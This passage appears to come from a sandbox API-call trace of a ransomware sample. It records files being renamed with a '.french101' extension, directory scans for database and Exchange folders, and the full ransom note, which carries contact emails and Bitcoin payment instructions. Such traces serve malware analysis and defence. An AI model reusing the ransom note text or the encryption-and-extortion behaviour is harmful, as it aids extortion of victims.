lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.515] SetFilePointer (in: hFile=0x398, lDistanceToMove=86442, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x151aa [0279.515] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.515] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0279.515] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.515] CloseHandle (hObject=0x398) returned 1 [0279.517] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\+sYYZLCNv5Ume9ALuXonKTe65jLuGGGuN=UR3OLz2DQaok.french101" (normalized: "c:\\588bce7c90097ed212\\1038\\+syyzlcnv5ume9aluxonkte65jlugggun=ur3olz2dqaok.french101")) returned 1 [0279.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\+sYYZLCNv5Ume9ALuXonKTe65jLuGGGuN=UR3OLz2DQaok.french101" (normalized: "c:\\588bce7c90097ed212\\1038\\+syyzlcnv5ume9aluxonkte65jlugggun=ur3olz2dqaok.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.521] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.522] CloseHandle (hObject=0x398) returned 1 [0279.522] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\+sYYZLCNv5Ume9ALuXonKTe65jLuGGGuN=UR3OLz2DQaok.french101", dwFileAttributes=0x80) returned 1 [0279.522] CloseHandle (hObject=0x398) returned 0 [0279.522] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.522] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.522] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.522] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.522] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.522] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.523] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.523] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0279.523] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0279.523] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0279.523] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1038\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.523] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.523] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0279.580] CloseHandle (hObject=0x398) returned 1 [0279.580] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.580] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.580] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.580] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.580] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.580] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.581] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.581] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.581] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.581] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.581] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.581] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.581] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.581] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.582] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0279.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0279.582] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.582] GetLastError () returned 0x12 [0279.582] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.582] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.582] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.582] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.582] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.582] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.582] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.583] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.583] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.583] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.583] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da210 [0279.583] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.583] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.583] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.583] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.583] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.583] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.583] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.583] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.583] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.583] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.583] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.584] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.584] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.584] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.584] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.584] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.584] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.584] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.584] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.584] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.584] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.584] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.584] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.584] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.584] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.584] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.585] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.585] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.585] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.585] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.585] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.585] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.585] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.585] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.585] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.585] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.585] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.585] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.585] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.585] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.585] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.585] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.586] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.586] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.586] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.586] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.586] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.586] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.586] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.586] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.586] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.586] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.586] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.586] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.586] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.586] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.586] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.586] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.586] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.587] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.587] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.587] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.587] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.587] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.587] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.587] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.587] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.587] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.587] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.587] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.587] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.587] FindNextFileW (in: hFindFile=0x6da210, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.587] GetLastError () returned 0x12 [0279.587] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.588] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0279.588] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0279.588] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0279.588] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.588] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.588] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.588] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.588] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.588] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.588] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.588] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.588] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.588] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.588] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.589] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.589] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.589] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.589] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.589] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.589] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.589] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.591] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.591] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.591] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1040", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1040") returned 1 [0279.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.592] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.592] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.592] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.592] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.592] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.592] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.594] GetLastError () returned 0x3 [0279.595] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0279.595] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.595] GetLastError () returned 0x2 [0279.595] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0279.595] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.596] GetLastError () returned 0x2 [0279.596] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0279.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.596] GetLastError () returned 0x2 [0279.596] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0279.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.596] GetLastError () returned 0x2 [0279.597] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact 